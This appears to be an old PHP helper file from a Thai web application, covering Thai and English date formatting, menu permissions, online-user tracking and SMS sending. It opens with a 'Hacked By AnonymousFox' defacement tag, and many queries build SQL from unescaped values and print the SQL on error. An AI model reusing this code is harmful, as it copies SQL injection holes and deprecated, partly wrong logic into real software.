Hacked By AnonymousFox
<?
function ShowDateLongTh($myDate) {
$myDateArray=explode("-",$myDate);
$myDay = sprintf("%d",$myDateArray[2]);
switch($myDateArray[1]) {
case "01" : $myMonth = "มกราคม"; break;
case "02" : $myMonth = "กุมภาพันธ์"; break;
case "03" : $myMonth = "มีนาคม"; break;
case "04" : $myMonth = "เมษายน"; break;
case "05" : $myMonth = "พฤษภาคม"; break;
case "06" : $myMonth = "มิถุนายน"; break;
case "07" : $myMonth = "กรกฎาคม"; break;
case "08" : $myMonth = "สิงหาคม"; break;
case "09" : $myMonth = "กันยายน"; break;
case "10" : $myMonth = "ตุลาคม"; break;
case "11" : $myMonth = "พฤศจิกายน"; break;
case "12" : $myMonth = "ธันวาคม"; break;
}
$myYear = sprintf("%d",$myDateArray[0])+543;
return($myDay . " " . $myMonth . " " . $myYear);
}
function DateDate($myDate){
$dateArr=split(" ",$myDate);
$time=$dateArr[1];
$timeArr=split(":",$time);
$hour=intval($timeArr[0]);
$numArr=split("-",$dateArr[0]);
$newdate=$numArr[2]."-".$numArr[1]."-".$numArr[0];
if($hour<13){
$ampm="AM";
if(strlen($hour)==1){
$newHour="0".$hour;
}else{
$newHour=$hour;
}
}else{
$ampm="PM";
$newHour=$hour-12;
if(strlen($newHour)==1){
$newHour="0".$newHour;
}else{
$newHour=$newHour;
}
}
$newDate=$newdate;
return $newDate;
}
//#################################################
function FormatDateTime($DateTime) {
//#################################################
global $System_Session_Language;
$DateTimeArr = explode(" ",$DateTime);
$Date = $DateTimeArr[0];
$Time = $DateTimeArr[1];
$DateArr = explode("-",$Date);
if ($System_Session_Language=="Thai") $DateArr[0] = $DateArr[0] + 543;
return $DateArr[2]."/".$DateArr[1]."/".$DateArr[0]." ".$Time;
}
function ampmDate($myDate){
$dateArr=split(" ",$myDate);
$time=$dateArr[1];
$timeArr=split(":",$time);
$hour=intval($timeArr[0]);
$numArr=split("-",$dateArr[0]);
$newdate=$numArr[2]."-".$numArr[1]."-".$numArr[0];
if($hour<13){
$ampm="AM";
if(strlen($hour)==1){
$newHour="0".$hour;
}else{
$newHour=$hour;
}
}else{
$ampm="PM";
$newHour=$hour-12;
if(strlen($newHour)==1){
$newHour="0".$newHour;
}else{
$newHour=$newHour;
}
}
$newDate=$newdate." ".$newHour.":".$timeArr[1]." ".$ampm;
return $newDate;
}
function make_seed() {
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
function getDateNow() {
$today=getdate();
$Day=$today[mday];
$Month=$today[mon];
$Year=$today[year];
$DateIs=sprintf("%04d-%02d-%02d",$Year,$Month,$Day);
return($DateIs);
}
function getTimeNow() {
$today=getdate();
$SS=$today[seconds];
$MM=$today[minutes];
$HH=$today[hours];
$DateIs=sprintf("%02d:%02d:%02d",$HH,$MM,$SS);
return($DateIs);
}
function ShowDate($myDate) {
$myDateArray=explode("-",$myDate);
$myDay = sprintf("%d",$myDateArray[2]);
switch($myDateArray[1]) {
case "01" : $myMonth = "ม.ค."; break;
case "02" : $myMonth = "ก.พ."; break;
case "03" : $myMonth = "มี.ค."; break;
case "04" : $myMonth = "เม.ย."; break;
case "05" : $myMonth = "พ.ค."; break;
case "06" : $myMonth = "มิ.ย."; break;
case "07" : $myMonth = "ก.ค."; break;
case "08" : $myMonth = "ส.ค."; break;
case "09" : $myMonth = "ก.ย."; break;
case "10" : $myMonth = "ต.ค."; break;
case "11" : $myMonth = "พ.ย."; break;
case "12" : $myMonth = "ธ.ค."; break;
}
$myYear = sprintf("%d",$myDateArray[0])+543;
return($myDay . " " . $myMonth . " " . $myYear);
}
function ShowDateShort($myDate) {
$myDateArray=explode("-",$myDate);
$myDay = sprintf("%d",$myDateArray[2]);
switch($myDateArray[1]) {
case "01" : $myMonth = "ม.ค."; break;
case "02" : $myMonth = "ก.พ."; break;
case "03" : $myMonth = "มี.ค."; break;
case "04" : $myMonth = "เม.ย."; break;
case "05" : $myMonth = "พ.ค."; break;
case "06" : $myMonth = "มิ.ย."; break;
case "07" : $myMonth = "ก.ค."; break;
case "08" : $myMonth = "ส.ค."; break;
case "09" : $myMonth = "ก.ย."; break;
case "10" : $myMonth = "ต.ค."; break;
case "11" : $myMonth = "พ.ย."; break;
case "12" : $myMonth = "ธ.ค."; break;
}
$myYear = (sprintf("%d",$myDateArray[0])+543) - 2500;
return($myDay . " " . $myMonth . " " . $myYear);
}
function ShowDateLong($myDate) {
$myDateArray=explode("-",$myDate);
$myDay = sprintf("%d",$myDateArray[2]);
switch($myDateArray[1]) {
case "01" : $myMonth = "มกราคม"; break;
case "02" : $myMonth = "กุมภาพันธ์"; break;
case "03" : $myMonth = "มีนาคม"; break;
case "04" : $myMonth = "เมษายน"; break;
case "05" : $myMonth = "พฤษภาคม"; break;
case "06" : $myMonth = "มิถุนายน"; break;
case "07" : $myMonth = "กรกฎาคม"; break;
case "08" : $myMonth = "สิงหาคม"; break;
case "09" : $myMonth = "กันยายน"; break;
case "10" : $myMonth = "ตุลาคม"; break;
case "11" : $myMonth = "พฤศจิกายน"; break;
case "12" : $myMonth = "ธันวาคม"; break;
}
$myYear = sprintf("%d",$myDateArray[0])+543;
return($myDay . " " . $myMonth . " " . $myYear);
}
function ShowDateEn($myDate) {
$myDateArray=explode("-",$myDate);
$myDay = sprintf("%d",$myDateArray[2]);
switch($myDateArray[1]) {
case "01" : $myMonth = "Jan"; break;
case "02" : $myMonth = "Feb"; break;
case "03" : $myMonth = "Mar"; break;
case "04" : $myMonth = "Apr"; break;
case "05" : $myMonth = "May"; break;
case "06" : $myMonth = "Jun"; break;
case "07" : $myMonth = "Jul"; break;
case "08" : $myMonth = "Aug"; break;
case "09" : $myMonth = "Sep"; break;
case "10" : $myMonth = "Oct"; break;
case "11" : $myMonth = "Nov"; break;
case "12" : $myMonth = "Dec"; break;
}
$myYear = sprintf("%d",$myDateArray[0]);
return($myDay . " " . $myMonth . " " . substr($myYear,2,2));
}
function ShowDateLongEn($myDate) {
$myDateArray=explode("-",$myDate);
$myDay = sprintf("%d",$myDateArray[2]);
switch($myDateArray[1]) {
case "01" : $myMonth = "January"; break;
case "02" : $myMonth = "February"; break;
case "03" : $myMonth = "March"; break;
case "04" : $myMonth = "April"; break;
case "05" : $myMonth = "May"; break;
case "06" : $myMonth = "June"; break;
case "07" : $myMonth = "July"; break;
case "08" : $myMonth = "August"; break;
case "09" : $myMonth = "September"; break;
case "10" : $myMonth = "October"; break;
case "11" : $myMonth = "November"; break;
case "12" : $myMonth = "December"; break;
}
$myYear = sprintf("%d",$myDateArray[0]);
return($myDay . " " . $myMonth . " " . $myYear);
}
//#################################################
function getEndDayOfMonth($myDate) {
//#################################################
$myEndOfMonth = array(0,31,0,31,30,31,30,31,31,30,31,30,31);
$myDateArray = explode("-",$myDate);
$myMonth = $myDateArray[1]*1;
$myYear = $myDateArray[0]*1;
if( $myMonth>=1 && $myMonth<=12 ) {
if($myMonth==2) {
//check leap year ---
if( ($myYear%4)==0 ) {
return 29;
} else {
return 28;
}
} else {
return $myEndOfMonth[$myMonth];
}
} else {
return 0;
}
}
//#################################################
function System_Date_DateTimeDiff($myDateTime1,$myDateTime2) {
//#################################################
$myArray1 = explode(" ",$myDateTime1);
$myTimeArray1 = explode(":",$myArray1[1]);
$myDateArray1 = explode("-",$myArray1[0]);
$myArray2 = explode(" ",$myDateTime2);
$myTimeArray2 = explode(":",$myArray2[1]);
$myDateArray2 = explode("-",$myArray2[0]);
$mySecDiff = mktime($myTimeArray2[0],$myTimeArray2[1],$myTimeArray2[2],$myDateArray2[1],$myDateArray2[2],$myDateArray2[0]) - mktime($myTimeArray1[0],$myTimeArray1[1],$myTimeArray1[2],$myDateArray1[1],$myDateArray1[2],$myDateArray1[0]);
if ($mySecDiff<0) {
$mySecDiff = mktime($myTimeArray1[0],$myTimeArray1[1],$myTimeArray1[2],$myDateArray1[1],$myDateArray1[2],$myDateArray1[0]) - mktime($myTimeArray2[0],$myTimeArray2[1],$myTimeArray2[2],$myDateArray2[1],$myDateArray2[2],$myDateArray2[0]);
}
// cal day -----
$mySecDay = 60*60*24;
$mySecHour = 60*60;
$mySecMin = 60;
if ($mySecDiff>=$mySecDay) {
$myDay = floor($mySecDiff/$mySecDay);
$mySecDiff = $mySecDiff-($myDay*$mySecDay);
$myText .= $myDay." days ";
}
if ($mySecDiff>=$mySecHour) {
$myHour = floor($mySecDiff/$mySecHour);
$mySecDiff = $mySecDiff-($myHour*$mySecHour);
$myText .= $myHour." hrs ";
}
if ($mySecDiff>=$mySecMin) {
$myMin = floor($mySecDiff/$mySecMin);
$mySecDiff = $mySecDiff-($myMin*$mySecMin);
$myText .= $myMin." min ";
}
$mySec=$mySecDiff;
if($mySecDiff>0) {
$myText .= $mySec." sec ";
}
// Return to text style
//return $myText;
// Return to time format style
return format(($myDay*24)+$myHour,2).":".format($myMin,2).":".format($mySec,2);
}
############################################
function isUserOnMenu($myUserID,$myMenuID) {
############################################
global $System_DataBase_Name,$System_TableName_StaffOnPermission;
$sql = "SELECT * FROM ".$System_TableName_StaffOnPermission." WHERE ".$System_TableName_StaffOnPermission."_MenuID=".$myMenuID." AND ".$System_TableName_StaffOnPermission."_StaffID=".$myUserID;
$Query=MYSQL_DB_QUERY($System_DataBase_Name,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br>\n");
$RecordCount=MYSQL_NUMROWS($Query);
if($RecordCount>0) { return(true); } else { return(false); }
}
############################################
function getMenuIcon($myMenuID) {
############################################
global $System_DataBase_Name,$System_TableName_Menu;
$sql = "SELECT * FROM ".$System_TableName_Menu." WHERE ".$System_TableName_Menu."_ID=".$myMenuID." AND ".$System_TableName_Menu."_Icon<>'' ";
$Query=MYSQL_DB_QUERY($System_DataBase_Name,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br>\n");
$RecordCount=MYSQL_NUMROWS($Query);
if($RecordCount>0) {
$Row=MYSQL_FETCH_ARRAY($Query);
return($Row[$System_TableName_Menu."_Icon"]);
} else {
return("../images/blank.gif");
}
}
############################################
function getMenuName($myMenuID) {
############################################
global $System_DataBase_Name,$System_TableName_Menu,$System_Session_Language;
$sql = "SELECT * FROM ".$System_TableName_Menu." WHERE ".$System_TableName_Menu."_ID=".$myMenuID;
$Query=MYSQL_DB_QUERY($System_DataBase_Name,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br>\n");
$RecordCount=MYSQL_NUMROWS($Query);
if($RecordCount>0) {
$Row=MYSQL_FETCH_ARRAY($Query);
return($Row[$System_TableName_Menu."_Name".$System_Session_Language]);
} else {
return(" ");
}
}
//$myModule_Table1 = "jigsaw_mod_wbd";
//$myModule_Table_Obsence = $myModule_Table1."_obsence";
############################################
function getUserPermissionOnMenu($myUserID,$myMenuID) {
############################################
global $System_DataBase_Name,$System_TableName_StaffOnPermission;
$sql = "SELECT * FROM ".$System_TableName_StaffOnPermission." WHERE ".$System_TableName_StaffOnPermission."_MenuID=".$myMenuID." AND ".$System_TableName_StaffOnPermission."_StaffID=".$myUserID;
$Query=MYSQL_DB_QUERY($System_DataBase_Name,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br>\n");
$RecordCount=MYSQL_NUMROWS($Query);
if($RecordCount>0) {
$Row=MYSQL_FETCH_ARRAY($Query);
return($Row[$System_TableName_StaffOnPermission."_Permission"]);
} else {
return("Hide");
}
}
############################################
function repair_content($Content){
############################################
global $myModule_Table_Obsence,$System_DataBase_Name;
$sql="SELECT * FROM ".$myModule_Table_Obsence;
$Query=MYSQL_DB_QUERY($System_DataBase_Name,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br>\n");
$RecordCount=MYSQL_NUMROWS($Query);
if($RecordCount>0)
{
$index=1;
while($index<$RecordCount+1){
$Row=MYSQL_FETCH_ARRAY($Query);
$Content=str_replace($Row[$myModule_Table_Obsence."_Word"],$Row[$myModule_Table_Obsence."_Replace"],$Content);
$index++;
}
}
return $Content;
}
############################################
function EnterLine ( $txt ) {
############################################
# ฟังก์ชั่นใช้ขึ้นบรรทัดใหม่ กรณีมีการกดปุ่ม Enter เว้นบรรทัด แต่ความจริงใช้ฟังก์ชั่น nl2br() ก็ได้เช่นกัน
$txt = eregi_replace( chr(13), "<br>", $txt);
return $txt;
}
############################################
function changeQuot($Data) {
############################################
return str_replace("'","’",str_replace('"','"',$Data));
}
############################################
function rechangeQuot($Data) {
############################################
return str_replace("’","'",str_replace('"','"',$Data));
}
#################################################
function format($num,$length) {
#################################################
// การทำงาน สร้างรูปแบบดังนี้ '000000' โดยความยาวนั้นขึ้นอยู่กับ ค่า length แต่ต้องกำหนดให้มากกว่า 1
$formated_num = strval($num);
while (strlen($formated_num) < $length) {
$formated_num = "0".$formated_num;
}
return $formated_num;
}
#############################################################
function changeXMLSpecialChar($value) {
#############################################################
//$new_str = str_replace("<br>","",str_replace("\r","",str_replace("\n","",str_replace("'","",str_replace('"','',str_replace("and","",str_replace("&","+",rechangeQuot(nl2br(trim($value))))))))));
$new_str = $value;
$new_str = rechangeQuot($new_str);
//$new_str = htmlentities($new_str);
$new_str = strip_tags($new_str);
$new_str = str_replace("&","",$new_str);
$new_str = str_replace("and","",$new_str);
$new_str = str_replace("And","",$new_str);
$new_str = str_replace("AND","",$new_str);
$new_str = str_replace("'","",$new_str);
$new_str = str_replace('"','',$new_str);
$new_str = nl2br($new_str);
$new_str = str_replace("<br>","",$new_str);
$new_str = str_replace("<br />","",$new_str);
$new_str = str_replace("\n","",$new_str);
$new_str = str_replace("\r","",$new_str);
$new_str = trim($new_str);
$new_str = htmlspecialchars($new_str);
return $new_str;
}
#############################################################
function str_ord($string) {
#############################################################
$my_str = "";
for ($i=0;$i<strlen($string);$i++) {
if ($i>0) $my_str .= " ";
$my_str .= ord(substr($string,$i,1));
}
return $my_str;
}
#############################################################
function str_chr($ascii_code) {
#############################################################
$my_str = "";
$ascii_arr = explode(" ",$ascii_code);
for ($i=0;$i<count($ascii_arr);$i++) {
$my_str .= chr($ascii_arr[$i]);
}
return $my_str;
}
#############################################################
function useronline_ip() {
#############################################################
global $System_DataBase_Name,$System_TableName_UserOnline;
global $UserOnlineTimeout;
global $REMOTE_ADDR,$PHP_SELF;
$TimeStamp = time();
$TimeOut = $TimeStamp - $UserOnlineTimeout;
//$IP_Address = substr($REMOTE_ADDR, 0, strrpos($REMOTE_ADDR,"."));
$IP_Address = $REMOTE_ADDR;
//HTTP_X_FORWARDED_FOR
/*
// Add this user to database
$loopcap = 0;
while ($loopcap<3 && @mysql_query("INSERT INTO ".$System_TableName_UserOnline." VALUES ('$TimeStamp','$IP_Address','$PHP_SELF')")) {
// in case of collision
$TimeStamp = $TimeStamp+$IP_Address{0}; $loopcap++;
}
*/
@mysql_query("INSERT INTO ".$System_TableName_UserOnline." VALUES ('$TimeStamp','$IP_Address','$PHP_SELF')");
// Delete users that have been online for more then "$UserOnlineTimeout" seconds
@mysql_query("DELETE FROM ".$System_TableName_UserOnline." WHERE ".$System_TableName_UserOnline."_TimeStamp<".$TimeOut);
// Select users online on this site
$result = @mysql_query("SELECT DISTINCT ".$System_TableName_UserOnline."_IPAddress FROM ".$System_TableName_UserOnline);
$user_on_site = @mysql_num_rows($result);
// Select users online on this page
$result = @mysql_query("SELECT DISTINCT ".$System_TableName_UserOnline."_IPAddress FROM ".$System_TableName_UserOnline." WHERE ".$System_TableName_UserOnline."_File='$PHP_SELF'");
$user_on_page = @mysql_num_rows($result);
// Show all users online
return (intval($user_on_site).",".intval($user_on_page));
}
#############################################################
#############################################################
function memberonline() {
#############################################################
global $System_DataBase_Name,$System_TableName_MemberOnline;
global $UserOnlineTimeout;
global $Member_Session_User_ID;
$TimeStamp = time();
$TimeOut = $TimeStamp - $UserOnlineTimeout;
@mysql_query("INSERT INTO ".$System_TableName_MemberOnline." VALUES ('$TimeStamp',$Member_Session_User_ID)");
// Delete users that have been online for more then "$UserOnlineTimeout" seconds
@mysql_query("DELETE FROM ".$System_TableName_MemberOnline." WHERE ".$System_TableName_MemberOnline."_TimeStamp<".$TimeOut);
}
#############################################################
function ismemberonline($MemberID) {
#############################################################
global $System_DataBase_Name,$System_TableName_MemberOnline;
global $UserOnlineTimeout;
global $Member_Session_User_ID;
memberonline();
// Select users online on this site
$result = mysql_query("SELECT Count(*) FROM ".$System_TableName_MemberOnline." WHERE ".$System_TableName_MemberOnline."_MemberID=".$MemberID);
$row = mysql_fetch_row($result);
if ($row[0]>0) return true;
else return false;
}
#############################################################
function getMemberOnlineList() {
#############################################################
global $System_DataBase_Name,$System_TableName_MemberOnline;
$MemberOnlineList = "";
$sql = "SELECT DISTINCT ".$System_TableName_MemberOnline."_MemberID FROM ".$System_TableName_MemberOnline;
$Query=MYSQL_DB_QUERY($System_DataBase_Name,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br>\n");
while ($Row = mysql_fetch_array($Query)) {
$MemberOnlineList .= ",".$Row[$System_TableName_MemberOnline."_MemberID"];
}
return ($MemberOnlineList);
}
#############################################################
function ChangeDateFormat($myDate) {
#############################################################
$myDateArray = explode("-",$myDate);
return ($myDateArray[2]."-".$myDateArray[1]."-".$myDateArray[0]);
}
//#################################################
function getRelateQuickMessage($QuickMessageID) {
//#################################################
global $System_Path_Full,$System_Session_Language;
global $System_TableName_QuickMessage,$Module_TableName_Member;
$sql = "SELECT * FROM ".$System_TableName_QuickMessage." WHERE ".$System_TableName_QuickMessage."_ID=".$QuickMessageID;
$Query = mysql_query($sql);
if (mysql_num_rows($Query)>0) {
$Row = mysql_fetch_array($Query);
$DateTime = explode(" ",$Row[$System_TableName_QuickMessage."_CreateDate"]);
$Date = $DateTime[0];
$Time = $DateTime[1];
if ($Row[$System_TableName_QuickMessage."_MemberID"]>0) {
$sql = "SELECT ".$Module_TableName_Member."_NickName FROM ".$Module_TableName_Member." WHERE ".$Module_TableName_Member."_ID=".$Row[$System_TableName_QuickMessage."_MemberID"];
$Query_Account = mysql_query($sql);
if (mysql_num_rows($Query_Account)>0) {
$Row_Account = mysql_fetch_array($Query_Account);
$From = $Row_Account[$Module_TableName_Member."_NickName"];
} else {
$From = "unknow";
}
} else {
$From = "unknow";
}
$this_message = "--------------------------------------------------------<br><br>";
$this_message .= "<font color='#000000'>".stripslashes($Row[$System_TableName_QuickMessage."_Title"])."</font><br><br>";
$this_message .= "<font color='#666666'>".stripslashes($Row[$System_TableName_QuickMessage."_Detail"])."</font>";
$this_message .= "<br><br><strong>ชื่อผู้ส่ง</strong> : ".$From;
//if ($Row[$System_TableName_QuickMessage."_LinkMore"]<>"") {
//$this_message .= '<br><img src="'.$System_Path_Full.'/system/images/icon/ico442.gif" width="8" height="14"> <span onMouseOver="this.style.cursor=\'hand\'" onClick="Popup(\'QuickMessage_Detail\',\''.$Row[$System_TableName_QuickMessage."_LinkMore"].'\',580,500,1)"><font color="#999999">'.$System_Text["FormLabel:QuickMessage:MoreDetail"].'</font></span>';
//}
$this_message .= "<br><br><strong>วันเวลาส่ง</strong> : ".ShowDateLong($Date,$System_Session_Language)." , ".$Time."<br><br>";
return $this_message.getRelateQuickMessage($Row[$System_TableName_QuickMessage."_RelateID"]);
}
}
#############################################################
function changeHexToDec($HexNum) {
#############################################################
$HexNum = strtolower(strval($HexNum));
$DexNum = 0;
for ($i=0;$i<strlen($HexNum);$i++) {
$thisChar = $HexNum{$i};
if ($thisChar=="a") $DexNum += 10;
else if ($thisChar=="b") $DexNum += 11;
else if ($thisChar=="c") $DexNum += 12;
else if ($thisChar=="d") $DexNum += 13;
else if ($thisChar=="e") $DexNum += 14;
else if ($thisChar=="f") $DexNum += 15;
else {
$thisChar = intval($thisChar);
$DexNum += $thisChar;
}
}
return $DexNum;
}
/*
#############################################################
function addMemberScore($MemberID,$thisScoreSystemKey) {
#############################################################
global $System_DataBase_Name,$myModule_Table_Score;
global $System_ScoreSystemKeyPoint;
$current_score = $System_ScoreSystemKeyPoint[$thisScoreSystemKey];
$sql = "INSERT INTO ".$myModule_Table_Score." (".
$myModule_Table_Score."_MemberID,".
$myModule_Table_Score."_ScoreSystemKey,".
$myModule_Table_Score."_CurrentScore,".
$myModule_Table_Score."_CreateDate".
") VALUES (".$MemberID.",'".$thisScoreSystemKey."',".$current_score.",Now())";
$Query=MYSQL_DB_QUERY($System_DataBase_Name,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br>\n");
}
*/
#############################################################
function showMemberScore($MemberID) {
#############################################################
global $System_DataBase_Name,$myModule_Table_Score;
$sql = "SELECT Sum(".$myModule_Table_Score."_CurrentScore) FROM ".$myModule_Table_Score." WHERE ".$myModule_Table_Score."_MemberID=".$MemberID;
$Query=MYSQL_DB_QUERY($System_DataBase_Name,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br>\n");
$Row = mysql_fetch_row($Query);
return $Row[0];
}
#################################################
function ChangeNewLine($myStr) {
#################################################
return (ereg_replace("\r\n","<br>",$myStr));
}
#################################################
function gen_exportstring($db_name,$table_name,$more_sql) {
#################################################
$db_list = mysql_list_fields($db_name,$table_name);
$num_fields = mysql_num_fields($db_list);
for ($i=0;$i<$num_fields;$i++) {
$field_name = mysql_field_name($db_list,$i);
if ($i==0) $field_id_name = $field_name;
$name[$i] = $field_name;
$export_str .= '"'.$name[$i].'",';
}
$export_str .= "<br>";
$this_sql = "select * from $table_name";
if ($more_sql<>"") $this_sql .= " ".$more_sql;
$result = mysql_query($this_sql);
while ($row = mysql_fetch_row($result)) {
for ($i=0;$i<$num_fields;$i++) {
$row[$i] = str_replace("<br />","",$row[$i]);
$row[$i] = str_replace("<br/>","",$row[$i]);
$row[$i] = str_replace("<br>","",$row[$i]);
$row[$i] = changeQuot($row[$i]);
$export_str .= '"'.$row[$i].'",';
}
$export_str .= "<br>";
}
/*
$db_list = mysql_list_fields($db_name,$table_name);
$num_fields = mysql_num_fields($db_list);
for ($i=0;$i<$num_fields;$i++) {
$field_name = mysql_field_name($db_list,$i);
if ($i==0) $field_id_name = $field_name;
$name[$i] = $field_name;
$field_type = mysql_field_type($db_list,$i);
$this_sql = "select $field_name from $table_name where $field_id_name = $id";
$result = mysql_query($this_sql);
$row = mysql_fetch_row($result);
if ($field_type=="int") {
$data[$i] = $row[0];
}
else if ($field_type=="string" || $field_type=="date" || $field_type=="time") {
$data[$i] = "'".$row[0]."'";
}
}
$sql = "insert into $table_name (";
for ($i=$start_column;$i<$num_fields;$i++) {
if ($i>$start_column) $sql = $sql.",";
$sql = $sql.$name[$i];
if ($i==$num_fields-1) $sql = $sql.")";
}
$sql = $sql." values (";
for ($i=$start_column;$i<$num_fields;$i++) {
if ($i>$start_column) $sql = $sql.",";
$sql = $sql.$data[$i];
if ($i==$num_fields-1) $sql = $sql.")";
}
*/
return $export_str;
}
####################
### SMS Function ###
####################
######################################
function isPhone($PhoneNumber){
######################################
if(ereg("^[0]+[1|3-9]([0-9]{7})$","$PhoneNumber")==1){
return true;
}else{
return false;
}
}
######################################
function sendOneSMS($Phone,$Message,$EncodeType){
######################################
global $operatorURL,$countryNumber,$senduser,$sendpassword,$sendencoding,$sender; // From config.php
return true;
if($Phone==""||strlen($Phone)!=9){
return false;
}else{
if(empty($EncodeType)||$EncodeType==""||strlen($EncodeType)!=1){
$EncodeType="E";
}
$Phone=$countryNumber.substr($Phone,1);
$curlmessage="Sender=$sender&Msn=$Phone&Msg=$Message&MsgType=$EncodeType&User=$senduser&Password=$sendpassword";
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$operatorURL);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$curlmessage);
$status = curl_exec($ch);
curl_close($ch);
if($status==0){
return true;
}else{
return false;
}
}
}
############################################
function sendMultiSMS($PhoneList,$Message,$EncodeType){
############################################
return true;
global $operatorURL,$countryNumber,$senduser,$sendpassword,$sendencoding,$sender; // From config.php
$Message=stripslashes($Message);
if(empty($EncodeType)||$EncodeType==""||strlen($EncodeType)!=1){
$EncodeType="E";
}
$curlmessage="Sender=$sender&Msnlist=$PhoneList&Msg=$Message&MsgType=$EncodeType&User=$senduser&Password=$sendpassword";
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$operatorURL);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$curlmessage);
$status = curl_exec($ch);
curl_close($ch);
if($status==0){
return true;
}else{
return false;
}
}
####################
#############################################################
function System_getDate($myDateTime) {
#############################################################
$myDateArray=explode(" ",$myDateTime);
return $myDateArray[0];
}
#############################################################
function System_ShowDate($myDate) {
#############################################################
if($myDate=="0000-00-00") { return " "; }
$myDateArray=explode("-",$myDate);
$myDay = sprintf("%d",$myDateArray[2]);
switch($myDateArray[1]) {
case "01" : $myMonth = "ม.ค."; break;
case "02" : $myMonth = "ก.พ."; break;
case "03" : $myMonth = "มี.ค."; break;
case "04" : $myMonth = "เม.ษ."; break;
case "05" : $myMonth = "พ.ค"; break;
case "06" : $myMonth = "มิ.ย"; break;
case "07" : $myMonth = "ก.ค"; break;
case "08" : $myMonth = "ส.ค."; break;
case "09" : $myMonth = "ก.ย."; break;
case "10" : $myMonth = "ต.ค."; break;
case "11" : $myMonth = "พ.ย"; break;
case "12" : $myMonth = "ธ.ค."; break;
}
$myYear = sprintf("%d",$myDateArray[0])+543-2500;
return($myDay . " " . $myMonth . " " . $myYear);
}
#############################################################
function System_getTime($myDateTime) {
#############################################################
$myDateArray=explode(" ",$myDateTime);
return $myDateArray[1];
}
//#################################################
function getMonthText($myDate) {
//#################################################
global $System_Session_Language;
if ($System_Session_Language=="Eng") {
$myMonthName = array("","January","February","March","April","May","June","July","August","September","October","November","December");
}
else {
$myMonthName = array("","มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","มิถุนายน","กรกฎาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม");
}
$myDateArray = explode("-",$myDate);
$str = $myMonthName[$myDateArray[1]*1]." ";
if ($System_Session_Language=="Eng") $str = $str.$myDateArray[0]*1;
else $str = $str.ShowThaiYear($myDateArray[0]*1);
return $str;
}
function getMonthTextNoYear($myDate) {
//#################################################
global $System_Session_Language;
if ($System_Session_Language=="Eng") {
$myMonthName = array("","January","February","March","April","May","June","July","August","September","October","November","December");
}
else {
$myMonthName = array("","มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","มิถุนายน","กรกฎาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม");
}
$myDateArray = explode("-",$myDate);
$str = $myMonthName[$myDateArray[1]*1]." ";
return $str;
}
function ShowThaiYear($myYear) {
$myYear = intval($myYear) + 543;
return ($myYear);
}
//#################################################
function foundInfo($myDate) {
//#################################################
global $System_DataBase_Name,$Mod_TableName_Calendar;
$sql = "SELECT ".$Mod_TableName_Calendar."_ID FROM ".$Mod_TableName_Calendar." WHERE '".$myDate."'>=".$Mod_TableName_Calendar."_FromDate AND '".$myDate."'<=".$Mod_TableName_Calendar."_ToDate";
$Query=MYSQL_DB_QUERY($System_DataBase_Name,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br>\n");
if (mysql_num_rows($Query)>0) return (true);
else return (false);
}
//#################################################
function isHoliday($myDate) {
//#################################################
global $System_DataBase_Name,$Mod_TableName_CalendarOnHoliday;
$sql = "SELECT * FROM ".$Mod_TableName_CalendarOnHoliday." WHERE ".$Mod_TableName_CalendarOnHoliday."_Date='".$myDate."'";
$Query=MYSQL_DB_QUERY($System_DataBase_Name,$sql) OR DIE("Error: เกิดความผิดพลาด <br>$sql<br>\n");
if(MYSQL_NUM_ROWS($Query)>0) return (true);
else return (false);
}
//#################################################
function getDateText($myDate) {
//#################################################
global $System_Session_Language;
if ($System_Session_Language=="Eng") {
$myMonthName = array("","January","February","March","April","May","June","July","August","September","October","November","December");
$myWeekName = array("Sun.","Mon.","Tues.","Wed.","Thus.","Fri.","Sat.");
}
else {
$myMonthName = array("","มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","มิถุนายน","กรกฎาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม");
$myWeekName = array("อาทิตย์","จันทร์","อังคาร","พุธ","พฤหัส","ศุกร์","เสาร์");
}
$myDateArray = explode("-",$myDate);
$str = $myWeekName[$myDateArray[0]]." ".$myDateArray[1]." ".$myMonthName[$myDateArray[2]]." ";
if ($System_Session_Language=="Eng") $str = $str.$myDateArray[3];
else $str = $str.ShowThaiYear($myDateArray[3]);
return $str;
}
function ShowDateFormatEng($myDate) {
$myDateArray=explode("-",$myDate);
$myDay = sprintf("%d",$myDateArray[2]);
$myMonth = sprintf("%d",$myDateArray[1]);
$myYear = sprintf("%d",$myDateArray[0]);
return($myDay . "-" . $myMonth . "-" . $myYear);
}
function ShowDateLongShort($myDate) {
$myDateArray=explode("-",$myDate);
switch($myDateArray[1]) {
case "01" : $myMonth = "มกราคม"; break;
case "02" : $myMonth = "กุมภาพันธ์"; break;
case "03" : $myMonth = "มีนาคม"; break;
case "04" : $myMonth = "เมษายน"; break;
case "05" : $myMonth = "พฤษภาคม"; break;
case "06" : $myMonth = "มิถุนายน"; break;
case "07" : $myMonth = "กรกฎาคม"; break;
case "08" : $myMonth = "สิงหาคม"; break;
case "09" : $myMonth = "กันยายน"; break;
case "10" : $myMonth = "ตุลาคม"; break;
case "11" : $myMonth = "พฤศจิกายน"; break;
case "12" : $myMonth = "ธันวาคม"; break;
}
$myYear = sprintf("%d",$myDateArray[0])+543;
